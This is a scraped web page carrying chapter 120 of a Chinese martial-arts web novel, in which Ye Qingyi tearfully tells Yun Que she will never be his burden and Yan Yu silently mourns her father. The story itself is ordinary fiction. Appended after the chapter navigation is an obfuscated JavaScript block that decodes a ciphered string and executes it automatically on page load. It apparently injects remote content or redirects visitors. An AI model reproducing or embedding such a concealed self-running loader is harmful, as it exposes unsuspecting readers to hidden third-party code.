返回

剑歌之下

首页
关灯
护眼
字体:
第120章 谁都会落泪
( )城主府。

云缺与叶青衣一起坐在庭院中的石桌前,二人相对良久,却默契地谁都没有开口说话。

二人分别的时间虽说不长,但是真正待在一起的时间同样也不长。

可以说是能见着面,但却很少待在一起。

云缺因为他外公燕南天的事情,一直都是早出晚归,甚至是一出去就好几天都不回来。

对于这种情况,叶青衣虽然是看在眼里,但是也没有开口说些什么。

毕竟云缺也是真的有事情要去做,她作为他师姐,也实在是没有理由去说些什么。

可是,对于此,叶青衣真的一点也不在乎,一点想要说的话都没有吗?

云缺看着叶青衣,面带愧疚之色道:“青衣,我……”

叶青衣似乎知道云缺要说什么,所以还没等云缺说完,便伸手将他打断。

叶青衣缓缓地站起身子,低头看着云缺,然后忽然转过身子,背对着云缺,抬起脚向前走了半步,接着又停下脚步,再次转过身子坐了下来。

“云缺,你知道吗?当你背对着我走出半步的时候,我就想开口将你叫住。”

叶青衣边说着话,边伸出手做了个半步的手势,然后接着说道:“虽然我知道只要我一开口你就会停下脚步,可是我没有,你知道为什么吗?”

不等云缺开口,叶青衣又接着说道:“很简单,因为我不想让你为难,不想让你因为我而变得束手束脚,不想……不想让自己成为你的累赘。”

说到这里,叶青衣已经是泪如雨下,眨眼之间便已经泪流满面。

叶青衣其实早在下山之前就有想过一个问题,那就是,假如她下山来找云缺。

她找到了云缺,可是,忽然有一天,她变成了云缺在山下的累赘,那时候该怎么办呢?

到时,云缺肯定会因为她而变得小心翼翼,甚至做起事来束手束脚,再也不是山上那个为了她敢提着剑去砍祖师堂的人。

如果真是这样的话,叶青衣还勉强能接受一点,可如果不是这样,如果是云缺因为她而身陷囹圄,命在旦夕。

那样的话,叶青衣只要想一下,脑海中还未完全浮现出这种画面,她就会觉得伤心不已。

只要一想到会有这种情况出现,她就觉得好难过。

她不希望云缺离开她的身边,可她同样不希望云缺因为她而发生改变,甚至陷入危险之中。

喜欢一个人就一定要让他为了自己而做出改变吗?

她的母亲是这样一个人,所以她的父亲直到她母亲身死都没有拔出剑来。

对此,叶青衣并不恨她的父亲,当然她也不怨她的母亲。

喜欢一个人有很多种方式,她的母亲只是选了一种她认为最好的方式。

而她的父亲同样也没有违背她母亲的意愿。

剑不下山,万剑无忌。

世上所有人都觉得她的父亲忘剑老人是这样的厉害,这样的无敌,这样的令人敬畏。

可是只有叶青衣知道,她的父亲一生最后悔的事情,就是当年抬手抓起了一把剑。

叶青衣不希望云缺为了她连剑都不敢拔出来。

她不希望有一天云缺为了她而变成她父亲那个模样。

她的父亲为了那件事是那样的痛苦,半生不敢走进她母亲的墓地,她真的不希望有一天,云缺连走进她墓地的勇气都没有。

她不怕死,同样她也相信云缺会一直保护着她,绝对不会让她受到伤害。

她永远不会成为云缺的累赘,永远不会。

叶青衣泪眼朦胧地看着云缺,边哭边大声喊道:“呜呜,云缺!是你自己喜欢我的,所以保护我也是自己选的,我永远不会是你的累赘,你就该一辈子保护我,一辈子!!!”

云缺低头看着满面泪水,声嘶力竭地冲他大声喊着的叶青衣,忽然傻傻地咧嘴一笑道:“对啊!我就该一辈子保护你。”

“我云缺学剑不是为了走马江湖,扬名天下,更不是为了驰聘沙场,建功立业,我就只是想保护自己想保护的人罢了。”

当年忘剑老人抓着云缺的脖子要把他扔到悬崖下边时,云缺是这样嘶吼着的。

“好!如果你学了剑,有一天却没能保护住自己想保护的人,那么到时就算你是天下第一,老夫也一定会亲自出手把你杀掉。”

当时忘剑老人眼神复杂,语气凶狠地看着云缺高声道。

云缺会路见不平,拔剑相助,可是那并不是他一开始学武的初衷。

不要觉得他没这样想是有错的。

穷则独善其身,达则兼济天下。

那时的云缺只是不知道世间会有那么多的不平事罢了。

现在随着年龄的增长,阅历的增加,他已经明白了作为一个武者,真正应该做的是什么。

但是,他当初的那个初衷,他依然是没有忘记。

学剑就要保护自己想要保护的人。

叶青衣看到云缺傻傻地咧嘴一笑,也是再也控制不住自己的感情,一下子扑到了云缺的怀里,放声大哭起来。

叶青衣哭的很伤心,哭的很痛快,她似乎是要把这段时间心里所藏着的委屈都给哭出来。

有时,人的感情是脆弱的,指不定就因为什么事情而落下泪水来。

所以,不要觉得惊讶,这很正常,人生在世,谁也不要说自己没受过委屈。

只不过有的人生性乐观,很快就把受到的委屈给抛开了,而有些人或许没那么乐观,所以他们则是把受到的委屈深深地埋在了心底。

乐观的人再次遇到曾经被他抛开的委屈,也是会无奈地流下泪水。

而另一些把委屈埋在心底的人,则是再也埋不了那么多委屈,只能是把它们统统掏出来,放声大哭起来。

雨后天晴,有时哭过了便也就看到希望了。

云缺抱着泪流不止的叶青衣,就那样静静地站在那里,抬手轻轻地抚摸着叶青衣的后背,语气轻柔地低声安慰着她。

庭院栏杆处,听说云缺已经回来的燕雨正安静地站在那里。

她看着云缺二人的方向,泪眼模糊,脸上的泪水如同大江决堤,怎么样也止不住地往下流。

燕云枫死了,她的父亲死了。

她多想像叶青衣那样抱着一个人放声大哭,可是,她不能那样做,也无法那样做。

她不想让大家担心,她更不想露出自己脆弱的一面。

她也不想让她的父亲看到,她的女儿因为他不在了,就变成了一个只知道哭泣的弱女子。

可是,可是,她只是一个弱女子啊!她没了父亲,她……她怎么能不伤心流泪呢?

一场不知道是对是错的武林大会,让本该再次兴盛起来的燕云帮彻底倒了下来,让一座燕家传承百年的府邸在一场大火中化为灰烬,更让为大温征战半生从未低头的常风大将军无奈地关闭了城门。

天地异变,龙脉被毁,大温前所未有之乱局,才刚刚拉开了序幕。

这个时候,谁也不知道下一场风雨什么时候会来,会有多大,又会有几人能在这场风雨中存活下来。

乱世出英雄,人命如草芥。

希望大家如果真的选择了去做什么事,就要坚持,万事开头难,一定要坚持啊!(*^ω^*)算是自勉吧!

(本章完)

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();